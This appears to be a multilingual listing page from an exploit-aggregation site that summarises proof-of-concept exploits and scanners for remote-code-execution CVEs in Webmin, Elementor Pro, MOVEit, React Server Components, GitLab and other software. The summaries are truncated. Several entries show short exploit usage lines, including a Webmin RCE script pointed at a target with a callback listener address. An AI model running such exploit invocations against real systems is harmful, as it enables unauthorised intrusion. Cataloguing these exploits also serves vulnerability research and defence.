CVE-2019-15107-Webmin-RCE-PoC

CVE-2019-15107 Webmin RCE PoC Un exploit proof-of-concept in Python per CVE-2019-15107 - una vulnerabilità di esecuzione remota di codice non autenticata in Webmin versioni 1.890 fino a 1.920. Descrizione Questa vulnerabilità risiede nell'endpoint /passwordchange.cgi di Webmin e consente a utenti...

CVE-2026-32475

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Upload Arbitrario di File Non Autenticato → RCE PoC per CVE-2026-32475 CVSS 9.0 Critico, CWE-434: un upload arbitrario di file non autenticato nel modulo Forms di Elementor Pro che porta all'esecuzione remota di codice. Corretto in Elementor Pro 4.2.2...

CVE-2019-10915

La vulnerabilità è un bypass dell'autenticazione nel server TIA Administrator. Un attaccante potrebbe eseguire comandi arbitrari dell'applicazione tramite websockets sul server node.js che è esposto esternamente per impostazione predefinita. Sfruttando questa vulnerabilità, un attaccante remoto n...

mssharepoint-scanner

MS SharePoint Scanner Uno strumento difensivo monofile e senza dipendenze per Microsoft SharePoint che combina service discovery singola o bulk con valutazione CVE per due vulnerabilità critiche on-premises: CVE-2026-55040 Critica 9.1 — bypass dell'autenticazione tramite token JWT CVE-2026-63520...

CVE-2019-15107

CVE-2019-15107 webmin or minisever RCE Uso do Script: Testado na v1.890, mas também deve funcionar em outras versões do webmin nas quais este backdoor está instalado. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

OgnlContentTypeRejectorValve

OgnlContentTypeRejectorValva Questa è una Valve per Tomcat7 per bloccare la vulnerabilità di Remote Code Execution di Struts 2 CVE-2017-5638...

CVE-2025-55449-AstrBot-RCE

Introduzione AstrBot = 3.5.17 ha hardcoded il segreto JWT nel codice sorgente, consentendo il caricamento arbitrario di plugin e portando a RCE. Utilizzo root@kitploit: python main.py 'http://127.0.0.1:6185' Codice sorgente https://github.com/AstrBotDevs/AstrBot.git...

CVE-2020-27955-LFS

Git-lfs Remote Code Execution RCE Exploit CVE-2020-27955 .bat / PowerShell-Version Angreifbar: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken usw. Entdeckt von Dawid Golunski https://legalhackers.com https://exploitbox.io Getestet auf Windows auf: git,...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 Den vollständigen Bericht zum Exploit-Setup und zur Reproduktion finden Sie in der Datei "CVE-2022-42889-Project Vulnerability Exploitation Report". Die VM, die zum Erstellen und Ausführen des Exploits verwendet wurde, ist nicht in diesem Repository enthalten. Einrichtung un...

React2P4IM0Nshell

React2P4IM0Nshell 💥Ferramenta de Extensão para Auditoria e Exploração avançada RCE/Source Leak/DoS CVE-2025-55182/83/84 para ambientes Next.js e React Server Components RSC diretamente do seu navegador, com terminal linux incorporado na própria extensão para receber qualquer reverse shell ❌ ⚡...

CVE-2023-34362

CVE-2023-34362 POC per CVE-2023-34362 che interessa MOVEit Transfer Analisi Tecnica Un'analisi tecnica della causa principale della vulnerabilità è disponibile sul blog: Riepilogo Questo POC sfrutta un'iniezione SQL per ottenere un token di accesso API da sysadmin e poi usa tale accesso per abusa...

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

Wing FTP Server v8.1.2 contiene una vulnerabilità di Remote Code Execution RCE nel meccanismo di serializzazione delle sessioni. Un amministratore autenticato può iniettare codice Lua arbitrario attraverso il campo mydirectory basefolder dell'amministratore del dominio, che viene eseguito lato...

React2Shell-CVE-2025-55182

CVE-2025-55182 — React2Shell RCE non autenticata nei React Server Components tramite deserializzazione insicura del protocollo Flight. Una singola richiesta HTTP è sufficiente per eseguire codice arbitrario sul server — nessuna credenziale, nessun accesso precedente necessario. root@kitploit: / /...

CVE-2023-21608

CVE-2023-21608 Adobe Acrobat Reader – CVE-2023-21608 – Remote-Code-Execution-Exploit Blog https://medium.com/@Kushagra007/adobe-acrobat-reader-resetform-cagg-uaf-rce-exploit-cve-2023-21608-652624346c8f DEMO...

CVE-2022-2992

CVE-2022-2992 Esecuzione remota di comandi autenticata in GitLab tramite importazione da GitHub. Una vulnerabilità in GitLab CE/EE che interessa tutte le versioni dalla 11.10 precedenti alla 15.1.6, tutte le versioni a partire dalla 15.2 precedenti alla 15.2.4, tutte le versioni a partire dalla...

CVE-2022-2274

CVE-2022-2274 Ein POC von CVE-2022-2274 openssl Das OpenSSL-Release 3.0.4 führte einen schwerwiegenden Fehler in der RSA-Implementierung für X8664-CPUs ein, die die AVX512IFMA-Anweisungen unterstützen. Dieses Problem führt dazu, dass die RSA-Implementierung mit 2048-Bit-Private-Keys auf solchen...

CVE-2022-21907

CVE-2022-21907 Descrizione root@kitploit: POC per CVE-2022-21907: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. creato da Malwareman il 2022-09-17. Dettagli root@kitploit: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. Simile a...

CVE-2026-11561

CVE-2026-11561 — Verificação de Versão SSTI / RCE do Apinizer Infra Template Nuclei para detectar versões do Apinizer inferiores a 2026.04.6, que são vulneráveis a CVE-2026-11561 Injeção de Template do Lado do Servidor que leva à Execução Remota de Código, CVSS 9.8. Uso root@kitploit: echo | nucl...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-Solution gcc -shared -o attack.so -fPIC attack.c...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Scanner RCE per Next.js RSC e Raccolta POC/Exploit CVE-2025-66478 Uno scanner da riga di comando per il rilevamento in batch delle versioni delle applicazioni Next.js e per determinare se sono interessate dalla vulnerabilità CVE-2025-66478. Questo scanner non sfrutta la vulnerabilità Descrizione...